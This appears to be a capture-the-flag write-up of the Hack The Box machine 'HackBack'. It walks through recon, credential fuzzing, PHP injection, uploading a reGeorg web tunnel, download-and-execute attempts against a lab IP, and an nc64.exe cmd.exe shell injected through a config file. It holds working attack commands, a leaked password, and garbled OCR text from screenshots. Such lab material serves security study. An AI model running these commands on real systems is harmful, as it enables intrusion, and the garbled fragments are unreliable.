# HackBack

# InfoGathering

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##OPEN PORTS

nmap -p1-65535 10.10.10.128 PORT STATE SERVICE 80/tcp open http 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 8080/tcp open http-proxy 49666/tcp open unknown 49667/tcp open unknown

##SUBDOMAIN SEARCH

Lets see if we can find any subdomains. Add hackback.htb to /etc/hosts RESOURCE: https://github.com/TheRook/subbrute python subbrute.py hackback.htb -o hackback.names

RESOURCE: https://github.com/rbsec/dnscan python dnscan.py -d hackback.htb -w /usr/share/SecLists/Discovery/DNS/bitquark-subdomainstop100K.txt

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##DIRB RESULTS

We do not find anything really against http://10.10.10.128 /aspnet\_client (Status: 301)

We do return some results for http://10.10.10.128:6666 /Help (Status: 200) /Services (Status: 200) /hello (Status: 200) /help (Status: 200) /info (Status: 200) /list (Status: 200) /netstat (Status: 200) /proc (Status: 200) /services (Status: 200) /whoami (Status: 200)

Later we find port 64831 https://hackback.htb:64831 /login (Status: 200) /register (Status: 200) /templates (Status: 200) /users (Status: 200) /api (Status: 200) /logout (Status: 200) /campaigns (Status: 200) /settings (Status: 200) /%!(NOVERB) (Status: 403) /landing\_pages (Status: 200)

### **Gaining Access**

### GOPHISH

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At http://hackback.htb:6666/proc we can see in the image that gophish is installed on this server. Gophish is a web application. Lets find where it is at by running another nmap scan on all ports since nothing showed the first time

nmap -p0-65535 10.10.10.128



We find gophish is running on port 64831 https://hackback.htb:64831 Let's try logging in with the default credentials #USER: admin# #PASS: gophish#





#GOPHISH SOURCES: # \_https://docs.getgophish.com/user-guide/ \_ \_https://github.com/gophish/\_

### LETS RUN GOBUSTER AGAINST THIS SITE AND SEE IF WE FIND ANY NON STANDARD SITES

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Obfuscated Javascript file found at http://admin.hackback.htb/js/private.js

The javascript is using a caesar cipher alphabet shift of 13 which is also ROT13. Remove the script tages and decode using the below site and use value of -13 ine becomes var #RESOURCE:# https://cryptii.com/pipes/caesar-cipher #OTHER RESOURCE:# (The one i used) https://www.dcode.fr/rot-13-cipher

	KOI-13 CIPIER
	Cryptography > Substitution Cipher > ROT-13 Cipher
Search for a tool	Sponsored ads
Search for a tool	ROT13 Decoder
SEARCH A TOOL ON DCODE BY KEYWORDS:	* ROT13 CIPHERTEXT
e.g. type sudoku GO	W01K03K14W02K05W01W34K26K13W00K05K11K2PK0PK02K13K14K2P 9659/789659639/2696609669669774/20100 5-1/259/729669/74965
Results 8 8 4	k/3qlk28k/74k/71k69k/74k/74k65k/22k/2plk70k61k/79k/70k61k6pk/2plk66
	w61%63%65%65%65%65%65%60%20%68%61%63%60%74%68%65%65%65%65%78 k29°,ine v=%26%70%61%73%73%77%65%72%64%3g%2n%2n%2n%2n%2n%2n
var a=[1x5/1x78\x49\x5a\x77\x72\x37\x44\x75\x73\x44 )  v38\x47\x73\x48\x76\x52\x77\x43\x28\x77\x77\x73\x44	k2nik2nik2ni;ine x=%26%73%65%73%69%69%66%69%63%ine j=%4rk65%74 %68%69%69%67%27%65%27%65%27%65%27%65%27%66%27%65%27% %68%69%69%67%27%65%27%65%27%65%27%65%27%65%27% %68%69%69%69%69%69%69%69%69%69%69%69%69%69%
\x44\x75\x4d\x4b\x72\x77\x72\x4c\x44\x67\x63\x4f\x69\x77	APPLY ROT-5 ON NUMBERS
\x72\x59\x31\x4b\x45\x45\x67\x47\x38\x4b\x43\x77	
\x71\x37\x44\x6c\x38\x4b\x33','\x41\x63\x4f\x4d\x77\x71	DECRYPT ROT13
\x76\x44\x71\x51\x67\x43\x77\x34\x2f\x43\x74\x32\x6e\x44	= ROT Cipher — Caesar Cipher — ROT-47 Cipher
\x74\x4d\x4b\x68\x5a\x63\x4b\x44\x77\x71\x54\x43	ROT13 Encoder
\x70\x54\x73\x79\x79\x77\x37\x6e\x43\x68\x73\x4f\x51\x58\x4d	ROT13 PLAN TEXT
1x761x411x601x431x671x701x601x3751x41x740x440x4430x440x44	dCode Rot-13
\x72\x38\x4flx37\x64\x44\x52\x6flx4d\x4d\x4bx4bx4bx4b	
\x6a\x44\x6c\x56\x52\x6e\x77\x72\x74\x37\x77\x37	
\x73\x30\x77\x6f\x31\x61\x77\x37\x73\x41\x51\x73\x4b\x73	
\x66\x73\x4f\x45\x77\x34\x58\x44\x73\x52\x6a\x43\x6c\x4d	
\x4fix77\x46\x7a\x72\x43\x6d\x7a\x70\x76\x43\x41\x6a\x43	* APPLY ROT-5 ON NUMBERS
\x75\x42\x7a\x44\x73\x73\x4b\x39\x46\x38\x4f\x34\x77\x71	ENCRYPT WITH ROT-13
(while (	= ROT Cipher Caesar Cipher ROT-47 Cipher
(winnet-i)(cl public for an f(0,0,0,0,0,0,0)), van	- Nor opini - caesar opini - Norst opini

Once Decoded, open FireFox and press Ctrl+Shift+I. Copy and paste results into the Console and issue the below command afterwards

 $print(x+'/r\n'+z+'/r\n'+h+'/r\n'+y+'/r\n'+t+'/r\n'+s+'/r\n'+i+'/r\n'+k+'/r\n'+w)$ 

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*	"Beneral Logic Report Benefation Testering period And La const Discontanticular State Description: Linear Access in the antikin genetic Description: Linear Access in the antikin genetic Description: Linear Access in the Accession Linear Const Description: Linear Access in the Accession Linear Const Description: Linear Const Desc

### WE FOUND AN ADMIN SECRET BACKDOOR EXISTS

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Remember the secret path is 2bb6916122f1da34dcd916421e531578 Just in case I loose access to the admin panel ?action=(show,list,exec,init) &site=(twitter,paypal,facebook,hackthebox) &password=\*\*\*\*\*\*\* &session= Nothing more to say"

We use wfuzz to show us the site password parameter

wfuzz --hh=17 -z file,/usr/share/wordlists/fasttrack.txt -u "http://admin.hackback.htb/ 2bb6916122f1da34dcd916421e531578/webadmin.php? action=list&site=hackthebox&password=FUZZ&session=fb6f90c58d1e2f1a7b86546f3300d6d199ac4c0b53

oot@kali:~/Documents/Notes# wfuzz --hh=17 -z file,/usr/share/wordlists password=FUZZ&session=fb6f90c58d1e2f1a7b86546f3300d6d199ac4c0b5309ada32 Warning: Pycurl is not compiled against Openssl. Wfuzz might not work c Wfuzz 2.3.4 - The Web Fuzzer l \*\*\*\*\* Target: http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/weba 3a56 Total requests: 222 ID Response Lines Word Chars Pavload ..... 000065: C=302 ΘL ΘW ΘCh 000207: C=302 7 L 15 W 197 Ch "12345678" Total time: 3.460097 Processed Requests: 222 Filtered Requests: 220 Requests/sec.: 64.16004

#### ### LETS CRACK THE HASH WE HAVE

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john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Since a password is in some of the output wanted above we crack it

root@kali:~/HTB/boxes/HackBack# john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt Using default input encoding: UTF-8 Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3]) Warning: no OpenMP support for this hash type, consider --fork=8 Press 'q' or Ctrl-C to abort, almost any other key for status 0g 0:00:00:00 DONE (2019-03-12 12:44) 0g/s 18872Kp/s 18872Kc/s 18872KC/s fuckyooh21..\*7;Vamos! Session completed press dutted

PASS: fuckyooh21..\*7;Vamos! HASH: 2bb6916122f1da34dcd916421e531578 Doesnt't seem legit and may be a false positive. We have it just in case.

### NOW TO FIND WHAT TO DO WITH WHAT WE HAVE

Visiting the site http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578 redirects us to the main login.

Lets check for file extenstions and see what we find using that

dirb http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578 -r -X .php



http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/webaadmin.php This is not redirected. This tells us we may need to pull off a url redirect attack

Lets use Burp to see what is going on

Go Cancel < 1 > 1 Follow redirection	Te	rget
Request Raw Params Headers Hex GET /2bb6916122f1da34dcd916421e531578/ HTTP/1.1 Host: admin.hackback.htb User-Agent: Mozilla/S.0 (X11: Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html.aplication/xhtml+xml.application/xml;q=0.9.*/*;q=0.8 Accept-Language: en-US,en:q=0.5 Accept-Encoding: grip. deflate Cookie: PMPSt5S1D=fb6f90c50d1e2f1a7b86546f3300d6d199ac4c0b5309ada3203b2042b3443a56 Connection: close Upgrade-Insecure-Requests: 1	Response         Raw       Headers       Hex       HTML       Render         HTTP/1.1       200 OK       Oktower       Content-Type: text/html         Last-Modified:       Fri.       30 Nov 2018 01:45:51 GMT         Accept-Ranges:       bytes         ETag:       2044d86c4e80d41:0°         Server:       Microsoft-IIS/10.0         X-Powered-By:       ASP.NET         Date:       Wed.         Ontent-Length:       132	
	     	/>

It seems the html refreshes the document and removes any extensions we add to the site. Lets work on a Burp request

We want RCE with burp using the parameters we discovered from js.

We can wfuzz to find more parmaters for javascript. Easiest to make your own.

```
wfuzz --hh=357 -z file,/root/HTB/boxes/HackBack/possiblecmds.txt -u "http://admin.hackback.htb/
2bb6916122f1da34dcd916421e531578/webadmin.php?
action=list&site=hackthebox&password=12345678&session=fb6f90c58d1e2f1a7b86546f3300d6d199ac4c
--hc 302
```

There doesnt seem to be another parameter.

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```
### ACTION = LIST
```

GET /2bb6916122f1da34dcd916421e531578/webadmin.php?

action=list & site=hack the box & password=12345678 & session=fb6f90c58d1e2f1a7b86546f3300d6d199ac4cd0 HTTP/1.1

This lists a few log files.

As seen below the log files are our PHPSESSID followed by .log The list action displays all of the log files.



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### ACTION = INIT

The action init delets the log file associated with our PHPSESSID and clears the username and password history that was entered into www.hackthebox.htb



#### ### ACTION = SHOW

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Action show shows us the history of words entered into username and password fiedls at hackthebox.eu



This command will most likely be used to get a shell by executing a command. All other sites return wrong target error code.



### HACKTHEBOX!!!!!

Visit www.hackthebox.htb and we get a login. WHAT!?!?!?! We enter a php script into the username and click login.

<?php echo ini\_get('disable\_functions') ?>

In Burp we issue our show action on site hackthebox using our session as PHPSESSIONID and it returns some kind of result.

We must be able to insert some malicious code. I made an attempt to obtain a reverse shell. It did not work.

Every time we issue a command through the username and password fields we need to use init to clear the response.



I used the below comand in the username field on hackthebox.htb to view folder contents. ```php

```
<?php $dir = 'C:/inetpub/wwwroot/new_phish/admin/'; $files1 = scandir($dir); $files2 = scandir($dir, 1); print_r($files1); print_r($files2); ?>
```

```
<?php echo file_get_contents("C:/inetpub/wwwroot/new_phish/admin/web.config.old") ?>
```

```
<configuration>
```

```
<system.webServer>
```

```
<authentication mode="Windows">
```

<identity impersonate="true" userName="simple" password="ZonoProprioZomaro:-("/>
</authentication>
<directoryBrowse enabled="false" showFlags="None" />
</system.webServer> </configuration>



USER: simple PASS: ZonoProprioZomaro:-(

The above showed us we have a php injection for an exploit. Lets try to upload a tunnel to use for our reGeorge exploit.

Place the below in the username field at hackthebox.htb

```
base64 tunnel.aspx
  php
<?php $tunnel = '77u/
PCVAIFBhZ2UgTGFuZ3VhZ2U9IkMjIiBFbmFibGVTZXNzaW9uU3RhdGU9IIRydWUiJT4NCjwI
QCBlbXBvcnQqTmFtZXNwYWNIPSITeXN0ZW0uTmV0liAIPq0KPCVAIEltcG9ydCBOYW1lc3BhY2U9
IIN5c3RlbS5OZXQuU29ja2V0cylgJT4NCjwlDQovKiAglCAglCAglCAglCAglCAglCAglCBfX19fXyAg
X19flCB8X18glF9fX19fXyAgX19fX18glF9fX19flCAgX19fX19flCANCiB8lCAglCB8lHwglCBf
X198fCAgIF9fX3wgICAgfHwgICBfX198LyAgICAgXHwgICAgIHwgfCAgIF9fX3wgDQogfCAgICAg
XCB8ICAgX19ffHwgICB8ICB8ICAgIHx8ICAgX19ffHwgICAgIHx8ICAgICBcIHwgICB8ICB8IA0K
IHxfX3xcX19cfF9fX19fX3x8X19fX19ffCAgX198fF9fX19fX3xcX19fX18vfF9ffFxfX1x8X19f
X19ffCANCiAgICAgICAgICAgICAgICAgIF9fX19ffA0KICAgICAgICAgICAgICAgICAgICAu
Li4gZXZlcnkgb2ZmaWNIIG5IZWRzIGEgdG9vbCBsaWtIIEdlb3JnDQogICAgICAgICAgICAgICAg
ICAqIA0KICB3aWxsZW1Ac2Vuc2Vwb3N0LmNvbSAvIEBfd19tX18NCiAqc2FtQHNlbnNlcG9zdC5j
b20gLyBAdHJvd2FsdHMNCiAgZXRpZW5uZUBzZW5zZXBvc3QuY29tIC8gQGthbXBfc3RhYWxkcmFh
ZA0KDQpMZWdhbCBEaXNjbGFpbWVyDQpVc2FnZSBvZiByZUdlb3JnIGZvciBhdHRhY2tpbmcgbmV0
d29ya3Mgd2l0aG91dCBjb25zZW50DQpjYW4gYmUgY29uc2lkZXJlZCBhcyBpbGxlZ2FslGFjdGl2
aXR5LiBUaGUgYXV0aG9ycyBvZg0KcmVHZW9yZyBhc3N1bWUgbm8gbGlhYmlsaXR5IG9yIHJlc3Bv
bnNpYmlsaXR5IGZvciBhbnkNCm1pc3VzZSBvciBkYW1hZ2UgY2F1c2VkIGJ5IHRoaXMgcHJvZ3Jh
bS4NCg0KSWYgeW91IGZpbmQgcmVHZW9yZ2Ugb24gb25IIG9mIHlvdXIgc2VydmVycyB5b3Ugc2hv
dWxkDQpjb25zaWRlciB0aGUgc2VydmVyIGNvbXByb21pc2VkIGFuZCBsaWtlbHkgZnVydGhlciBj
b21wcm9taXNIDQp0byBleGlzdCB3aXRoaW4geW91ciBpbnRlcm5hbCBuZXR3b3JrLg0KDQpGb3Ig
bW9yZSBpbmZvcm1hdGlvbiwgc2VlOg0KaHR0cHM6Ly9naXRodWluY29tL3NlbnNlcG9zdC9yZUdl
b3JnDQoqLw0KICAqIHRyeQ0KICAqIHsNCiAqICAqICAqaWYqKFJlcXVlc3QuSHR0cE1ldGhvZCA9
PSAiUE9TVClpDOoglCAglCAglHsNCiAglCAglCAglCAglC8vU3RyaW5nlGNtZCA9IFllcXVlc3Ou
SGVhZGVycy5HZXQollgtQ01Elik7DQogICAgICAgICAgICBTdHJpbmcgY21kID0gUmVxdWVzdC5R
dWVyeVN0cmluZy5HZXQoImNtZClpLlRvVXBwZXloKTsNCiAgICAgICAgICAgIGImIChjbWQgPT0g
```

IkNPTk5FQ1QiKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIHRyeQ0KICAgICAgICAg ICAqICAqIHsNCiAqICAqICAqICAqICAqICAqICAqU3RyaW5nIHRhcmdldCA9IFJlcXVlc3QuUXVI cnlTdHJpbmcuR2V0KCJ0YXJnZXQiKS5Ub1VwcGVyKCk7DQogICAgICAgICAgICAgICAgICAgICAgIC8v UmVxdWVzdC5IZWFkZXJzLkdldCgiWC1UQVJHRVQiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgaW50 IHBvcnOqPSBpbnOuUGFyc2UoUmVxdWVzdC5RdWVyeVN0cmIuZy5HZXOoInBvcnOiKSk7DOoqICAq ICAgICAgICAgICAgICAgIC8vUmVxdWVzdC5IZWFkZXJzLkdldCgiWC1QT1JUIikpOw0KICAgICAg ICAgICAgICAgICAgICBJUEFkZHJlc3MgaXAgPSBJUEFkZHJlc3MuUGFyc2UodGFyZ2V0KTsNCiAg ICAgICAgICAgICAgICAgICAgU3IzdGVtLk5IdC5IUEVuZFBvaW50IHIIbW90ZUV0ID0gbmV3IEIQ RW5kUG9pbnQoaXAsIHBvcnQpOw0KICAgICAgICAgICAgICAgICAgICBTb2NrZXQgc2VuZGVyID0g bmV3IFNvY2tldChBZGRyZXNzRmFtaWx5LkludGVyTmV0d29yaywgU29ja2V0VHlwZS5TdHJlYW0s IFByb3RvY29sVHIwZS5UY3ApOw0KICAgICAgICAgICAgICAgICAgICBzZW5kZXIuQ29ubmVjdChy ZW1vdGVFUCk7DQogICAgICAgICAgICAgICAgICAgIHNlbmRlci5CbG9ja2luZyA9IGZhbHNlOw0K ICAgICAgICAgICAgICAgICAgICBTZXNzaW9uLkFkZCgic29ja2V0liwgc2VuZGVyKTsNCiAgICAg ICAqICAqICAqICAqICAqUmVzcG9uc2UuQWRkSGVhZGVyKCJYLVNUQVRVUyIsICJPSylpOw0KICAq ICAqICAqICAqICAqIH0NCiAqICAqICAqICAqICAqICBjYXRjaCAoRXhjZXB0aW9uIGV4KQ0KICAq LUVSUk9SliwgZXguTWVzc2FnZSk7DQogICAgICAgICAgICAgICAgICAgICAgIFJlc3BvbnNlLkFkZEhl IH0NCiAgICAgICAgICAgIGVsc2UgaWYgKGNtZCA9PSAiREITQ090TkVDVClpDQogICAgICAgICAg PSAoU29ja2V0KVNlc3Npb25bInNvY2tldCJdOw0KICAgICAgICAgICAgICAgICBzLkNsb3NI KCk7DQogICAgICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uIGV4KXsNCg0KICAgICAgICAg ICAgICBSZXNwb25zZS5BZGRIZWFkZXIoIIgtU1RBVFVTIiwgIk9Llik7DOogICAgICAgICAgICB9 DQogICAgICAgICAgICBlbHNIIGImIChjbWQgPT0gIkZPUIdBUkQiKQ0KICAgICAgICAgICAgew0K ICAgICAgICAgICAgICAgIFNvY2tldCBzID0gKFNvY2tldCITZXNzaW9uWyJzb2NrZXQiXTsNCiAg IGludCBidWZmTGVuID0gUmVxdWVzdC5Db250ZW50TGVuZ3RoOw0KICAgICAgICAgICAgICAgICAg ICBieXRIW10gYnVmZiA9IG5IdyBieXRIW2J1ZmZMZW5dOw0KICAgICAgICAgICAgICAgICAgICAgICBp bnQqYyA9IDA7DQoqICAqICAqICAqICAqICAqICAqIHdoaWxIICqoYyA9IFIIcXVIc3QuSW5wdXRT dHJIYW0uUmVhZChidWZmLCAwLCBidWZmLkxlbmd0aCkpID4gMCkNCiAgICAgICAgICAgICAgICAgICAg ICAgew0KICAgICAgICAgICAgICAgICAgICAgCAgCy5TZW5kKGJ1ZmYpOw0KICAgICAgICAgICAg ICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIFJlc3BvbnNlLkFkZEhIYWRlcigiWC1TVEFU VVMiLCAiT0siKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgY2F0Y2ggKEV4 Y2VwdGlvbiBleCkNCiAglCAglCAglCAglCAglCB7DQoglCAglCAglCAglCAglCAglCAglFllc3Bv bnNILkFkZEhIYWRIcigiWC1FUIIPUiIsIGV4Lk1lc3NhZ2UpOw0KICAgICAgICAgICAgICAgICAg ICBSZXNwb25zZS5BZGRIZWFkZXIoIIgtU1RBVFVTIiwgIkZBSUwiKTsNCiAgICAgICAgICAgICAg ICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNIIGImIChjbWQgPT0gIIJFQUQiKQ0K WyJzb2NrZXQiXTsNCiAgICAgICAgICAgICAgICB0cnkNCiAgICAgICAgICAgICAgICB7DQogICAg YWRCdWZmID0qbmV3IGJ5dGVbNTEyXTsNCiAqICAqICAqICAqICAqICAqdHJ5DQoqICAqICAq ICAqICAqICAqICAqIHsNCiAqICAqICAqICAqICAqICAqICAqIHdoaWxIICqoYyA9IHMuUmVj ZWI2ZShyZWFkQnVmZikpID4gMCkNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAg ICAqICAqICAqICAqICAqICAqICBieXRIW10qbmV3QnVmZiA9IG5IdyBieXRIW2NdOw0KICAqICAq ICAgICAgICAgICAgICAgICAgICAgIC8vQXJyYXkuQ29uc3RyYWIuZWRDb3B5KHJIYWRCdWZmLCAw ZmVyLkJsb2NrQ29weShyZWFkQnVmZiwgMCwgbmV3QnVmZiwgMCwgYyk7DQogICAgICAgICAgICAg ICAgICAgICAgICAgICAgUmVzcG9uc2UuQmluYXJ5V3JpdGUobmV3QnVmZik7DQogICAgICAgICAg ICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBSZXNwb25zZS5BZGRIZWFk ZXIoIIatU1RBVFVTIiwalk9Llik7DQoalCAalCAalCAalCAalCAalH0alCAalCAalCAalCAa ICAqICAqIA0KICAqICAqICAqICAqICAqICAqICBjYXRjaCAoU29ja2V0RXhjZXB0aW9uIHNvZXqp LkFkZEhIYWRIciqiWC1TVEFUVVMiLCAiT0siKTsNCiAqICAqICAqICAqICAqICAqICAqICAqICAqICAqIHI ICAgICAgICBjYXRjaCAoRXhjZXB0aW9uIGV4KQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAg ICAqICAqICAqICAqUmVzcG9uc2UuQWRkSGVhZGVyKCJYLUVSUk9SliwqZXquTWVzc2FnZSk7DQoq ICAqICAqICAqICAqICAqICAqIF|Ic3BvbnNILkFkZEhIYWRIciqiWC1TVEFUVVMiLCAiRkF|TClp

Ow0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0gDQogICAgICAgIH0gZWxzZSB7DQog ICAgICAgICAgICBSZXNwb25zZS5Xcml0ZSgiR2Vvcmcgc2F5cywgJ0FsbCBzZWVtcyBmaW5lJyIp Ow0KICAgICAgICB9DQogICAgfQ0KICAgIGNhdGNoIChFeGNIcHRpb24gZXhLYWspDQogICAgew0K ICAgICAgICBSZXNwb25zZS5BZGRIZWFkZXIoIIgtRVJST1IiLCBIeEthay5NZXNzYWdIKTsNCiAg ICAgICAgUmVzcG9uc2UuQWRkSGVhZGVyKCJYLVNUQVRVUyIsICJGQUIMIik7DQogICAgfQ0KJT4N Cg=='; \$path = 'C:/inetpub/wwwroot/new\_phish/admin/2bb6916122f1da34dcd916421e531578/ tunnel.aspx'; file\_put\_contents(\$path, base64\_decode(\$tunnel)); ?>

On attack machine issue the below command

sudo python reGeorgSocksProxy.py -u http://admin.hackback.htb/ 2bb6916122f1da34dcd916421e531578/tunnel.aspx -v INFO

RESOURCE: https://github.com/sensepost/reGeorg

second of a lost (that 1). They we for far and mothers, only a self-schefferer							
	y.py -U http://wdmin.nackback.htb/2000#101227108340cd#1042165315/8/tunnet.aspx -V IMPO						
<pre>willem@sensepost.com / @_w_m sam@sensepost.com / @trowalts etienne@sensepost.com / @kamp_staaldraad</pre>							
<pre>[INF0 ] Log Level set to [INF0] [INF0 ] Starting socks server [127.0.0.1:8888], tunnel at [http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/tunnel.aspx] [INF0 ] Checking if Georg is ready [INF0 ] Georg says, 'All seems fine'</pre>							
Now lets use proxychains and try to log in vi /etc/proxychains.conf socks4 127.0.0.1 8888	using winrm_shell.rb						
### SMB INFO GAHTERING							
proxychains smbmap -H 10.10.10.128 -u s Disk	simple -p 'ZonoProprioZomaro:-(' Permissions						
ADMIN\$ C\$ IPC\$ I used smbclient to check out IPC\$ but not proxychains smbclient //10.10.10.128/IPC	NO ACCESS NO ACCESS READ ONLY thing is there. \$ -U simple%'ZonoProprioZomaro:-('						
### WINRM IS OPEN							
Since WinRM is open on port 5985 let's us RESOURCE: https://github.com/Alamot/cod proxychains ruby winrm_shell.rb	 e it. de-snippets/blob/master/winrm/winrm_shell.rb						
We are not able to download files using ce I than tried Metasploits web_delivery expl RDP port 3389 is open but only Administra	ertutil, we can not run powershell modules using IEX. oit which also will not work in this situation. ator has that permission.						
To get the payloads on the device I tried Start-BitsTransfer -Source 'http://10.10.14.11:8000/payload.exe' -Destination 'C: \Users\simple\Desktop\payload.exe' Invoke-WebRequest -Uri http://10.10.14.11:8000/payload.exe -Outfile payload.exe							

certutil.exe -urlcache -split -f http://10.10.14.11:8000/payload.exe IEX (New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/payload.exe') None of which worked. Lets try using the php method as we did uploading the tunnel.

In C:\util\scripts\ there is a file called clean.ini. We have the ability to edit this file. After editing the file the machine will need to be reset in order to load our config.

PS hackback\simple@HACKBACK > Get-Content 'clean.ini' [Main] LifeTime=100 LogFile=c:\util\scripts\log.txt & cmd.exe /c C:\windows\system32\spool\drivers\color\nc64.exe -lvp 443 -e cmd.exe Directory=c:\inetpub\logs\logfiles

To get nc.exe on the machine, we need to put it here: C:\Windows\System32\spool\drivers\color This is the place where AppLocker isnt scanning.

We can do this by using the same method we used to get tunnel.aspx onto the machine.

We base64 encode the nc64.exe, put it in the username filed. Does not matter what we put in the password field. We trigger it with php show in BurpSuite.

RESOURCE: https://github.com/DarrenRainey/netcat

OTHER USABLE RESOURCE: https://github.com/samratashok/nishang (Invoke TCP can also be used for a rev shell)

Check to make sure the file is where we want it. dir C:\Windows\System32\spool\drivers\color

PS hackback\simple@HACKBACK > dir C:\Windows\System32\spool\drivers\color |S-chain|-<>-127.0.0.1:8888-<><>-10.10.10.128:5985-<><>-0K |S-chain|-<>-127.0.0.1:8888-<><>-10.10.10.128:5985-<><>-0K

Directory: C:\Windows\System32\spool\drivers\color

Mode	LastWriteTime	Length Name		
-a	9/15/2018 12:12 AM	1058	D50.camp	
-a	9/15/2018 12:12 AM	1079	D65.camp	
-a	9/15/2018 12:12 AM	797	Graphics.gmmp	
-a	9/15/2018 12:12 AM	838	MediaSim.gmmp	
-a	3/11/2019 5:56 PM	43696	nc64.exe	

Edit clean.ini to say what we want

```
echo '[Main]' > clean.ini
echo 'LifeTime=100' >> clean.ini
echo 'LogFile=c:\util\scripts\log.txt && C:\Windows\System32\spool\drivers\color\nc64.exe -lvp 443 -e
cmd.exe' >> clean.ini
echo 'Directory=c:\inetpub\logs\logfiles' >> clean.ini
```

If we run netstat -a we can verify the port 443 is listening and is open. Once nc64.exe is on the pc, connect to it. • • •

proxychains nc 10.10.10.128 443

root@kali:~/HTB/boxes/HackBack# proxychains nc 10.10.10.128 443
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:8888-<><>-10.10.10.128:443-<><>-0K
Microsoft Windows [Version 10.0.17763.292]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows∖system32>whoami whoami hackback\hacker

C:\Windows\system32>type C:\Users\hacker\Desktop\user.txt type C:\Users\hacker\Desktop\user.txt 922449f8e39c2fb4a8c0ff68d1e99cfe C:\Windows\system32>

PWN USER FLAG

-----type C:\Users\hacker\Desktop\user.txt 922449f8e39c2fb4a8c0ff68d1e99cfe

-----

### PrivEsc

WE CAN BE HACKER AND WE CAN BE SIMPLE BUT LETS BE ROOT

The hacker user does not seem to have any more privledges than simple does. I do not know where to go next. When that happens I turn to PowerUp.ps1 or JAWS. We want to get these on the device. Since we have netcat now we can use that.

\_\_\_\_\_

First we tell the target to listen on a port for the file.

C:\Windows\System32\spool\drivers\color\nc64.exe -lp 1234 > PowerUp.ps1

Next we serve the file up. It takes a minute but will go through. In the image I served it to Simple.

```
proxychains nc 10.10.10.128 1234 < PowerUp.ps1
```

PS hackback\s:	imple@HACKBACK	Documents> (	C:\Windows	s\System32	\spool\dri	ivers\col	or\nc64.e	exe -lp	1234 >	PowerUp.p:	s 1
S-chain -<>-	127.0.0.1:8888-	<>-10.10.1	10.128:598	35-<><>-0K							
S-chain -⇔-1	127.0.0.1:8888-	<>-10.10.1	10.128:598	35-<><>-0K							
S-chain -⇔-	127.0.0.1:8888-	<>-10.10.1	10.128:59	35-<><>-0K							
S-chain -⇔-	127.0.0.1:8888-	<>-10.10.1	10.128:598	35-<><>-OK							
S-chain -⇔-	127.0.0.1:8888-	<>-10.10.1	10.128:59	35-<><>-OK							
S-chain -<>-	127.0.0.1:8888-	<>>-10.10.1	10.128:598	35-<><>-OK							
PS hackback\s	imple@HACKBACK	Documents> (	lir								
Bi		and Berry and a									
Directory	: C:\Users\simp	le\Document:	5								
Mode	Lastivit	eTime	Length	Name							
Thomas .	Edd (m) 10	e i zine	Lengen	Thomas and							
· ð · · · ·	3/17/2019 5:	40 AM	1133704	PowerUp.p:	\$1						

In order to run these scripts as "Hacker" we can add permissions for that user. ```powershell

\$rule=new-object System.Security.AccessControl.FileSystemAccessRule ("hacker","FullControl","Allow")
\$acl = Get-ACl C:\Windows\System32\spool\drivers\color\PowerUp.ps1
\$acl.SetAccessRule(\$rule)

Copy the file some place that Hacker can access it such as C:\Windows\System32\spool\drivers\color

THE HUNT BEGINS

-----

RESOURCE: https://github.com/PowerShellMafia/PowerSploit

Now that PowerUp is on the box lets run it!.

I had to run it as simple as Hacker's netcat listner was not picking up the connection through proxychains.

I first created a copy of PowerUp.ps1 and called it PowerUp2.ps1.

I than added the command I want to run to the end of the file.

cp PowerUp.ps1 PowerUp2.ps1
echo 'Invoke-AllChecks.ps1 >> PowerUp2.ps1

• • •

That did not work so I did the same for JAWS and Sherlock.

RESOURCE: https://github.com/rasta-mouse/Sherlock When I ran sherlock's Check-AllVulns function we did not have any matches.

RESOURCE: https://github.com/411Hall/JAWS

When I ran JAWS the thing that stuck out was Administrator was a part of a group called Docker Users

Username: Administrator

Groups: docker-users Administrators Remote Desktop Users

When I got to the Program Folders enum of JAWS I saw the Docker folder.

C:∖Program Files -----Common Files Docker

I check it out and there is nothing in the folder.

-----

### REG QUERY

-----

We next run a query of the registry to see if we can find anything there reg query HKLM\SYSTEM\CurrentControlSet\Services

There are an unusual amount of logs for the user 'Hacker'. Because of this there were 2 files that stuck out to me as they are not native to Windows. HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Services\UserLogger c:\windows\system32\UserLogger.exe

We can start and stop service ```powershell sc stop userlogger sc start userlogger C:\inetpub\wwwroot\http.ps1:test

When I include a file I could not read it than became readable :) We should be able to read root lets try!

